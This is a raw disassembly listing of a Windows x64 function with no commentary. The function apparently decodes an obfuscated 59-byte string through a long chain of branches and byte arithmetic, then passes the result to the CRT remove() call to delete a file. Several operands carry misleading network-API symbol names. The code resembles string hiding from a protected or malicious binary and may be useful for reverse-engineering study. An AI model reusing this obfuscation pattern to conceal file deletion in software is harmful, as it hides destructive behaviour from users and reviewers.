movabs r15, 0xe20d512c73c5ced4
movzx edi, byte [rbp + 0x1f0]
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x3b
jae 0x1400f8473
movzx r10d, byte [rbp + r11 + 0xc0]
mov esi, r10d
movzx r9d, r11b
nop dword [rax]
cmp rbx, r11
ja 0x1400f846a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f7a8e
lea rcx, [r11 + r14]
movzx eax, sil
and al, cl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x44
add dil, cl
jmp 0x1400f7aae
je 0x1400f83f5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400f83cf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f83a7
movzx r9d, r11b
cmp r8, r11
ja 0x1400f8461
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x1400f7ae1
lea ecx, [r9 - 0x34]
movzx eax, cl
and al, r10b
mov edi, gethostname
sub dil, al
add dil, dil
add dil, cl
add dil, r10b
jmp 0x1400f7b10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f8360
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f832c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f830f
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f805f
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400f8044
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f801b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400f7ff8
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400f810c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400f7fdb
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400f7fbb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f7fa0
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400f7f80
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f7f51
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400f7b20
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x80]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400f8441
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400f8424
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400f7d07
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400f7cec
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400f7ccd
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400f7f01
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400f7ea1
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400f7e63
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400f7e3b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400f7b20
lea rbx, [r8 + 9]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400f7e0c
lea rcx, [r8 + 5]
cmp rbx, rcx
ja 0x1400f7dec
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400f7dd1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400f7db1
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400f7d94
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400f7d79
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400f7d6b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400f7d45
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400f7d26
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400f7b20
mov rbx, rcx
lea r8, [rcx + 0x400]
jmp 0x1400f7b20
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f7b10
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x1400f7ab2
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f7a60
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f837a
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
inc r8
dec r11
inc r11
jmp 0x1400f7a43
sub r9b, 0x10
mov ecx, gethostname
jmp 0x1400f83d8
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x1400f8260
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400f8344
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f8347
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x1400f829b
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f82c8
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
mov byte [rbp + r11 + 0xc0], dil
inc r11
jmp 0x1400f7a43
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x41
jb 0x1400f7e53
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x30]
jmp 0x1400f837a
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 1
jae 0x1400f8247
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f81d3
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
lea rax, [r8 + rbx]
cmp rax, 4
je 0x1400f828a
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x1400f815b
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x1400f7ebb
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f82c8
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x1400f829b
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f8347
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x1400f8344
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
dec r11
inc r11
jmp 0x1400f7a43
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f7a43
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x1400f837a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f8083
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x1400f7f17
jne 0x1400f80b4
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f80dd
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f8347
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f8103
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x1400f8344
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f812b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f8260
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f7f17
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
dec r11
inc r11
jmp 0x1400f7a43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f8180
lea edx, [r9 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f8377
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f81a9
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f8344
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f7ebb
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x1400f8347
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f81fc
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f82c8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f821d
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400f829b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f7e7d
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x1400f8344
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0xc0], cl
jmp 0x1400f8344
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x28]
add r9b, 0x34
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6c
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xc0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xc0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
add r9b, 0x1c
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f8347
sub r9b, 0x1c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3c
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f7a43
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, dl
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, r9b
mov byte [rbp + r11 + 0xc0], r10b
inc r8
dec r11
inc r11
jmp 0x1400f7a43
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f7a43
add r9b, 0x24
mov ecx, 2
movzx eax, r9b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f7a43
lea rcx, [r11 + r15]
and sil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_26
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f7a43
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
jmp 0x1400f7a40
sub r9b, 0x2c
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f7a30
lea rcx, [rbp + 0x14cfd90]
jmp 0x1400f847a
lea rcx, [rbp + 0x8eed2c]
jmp 0x1400f847a
lea rcx, [rbp + 0xc0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret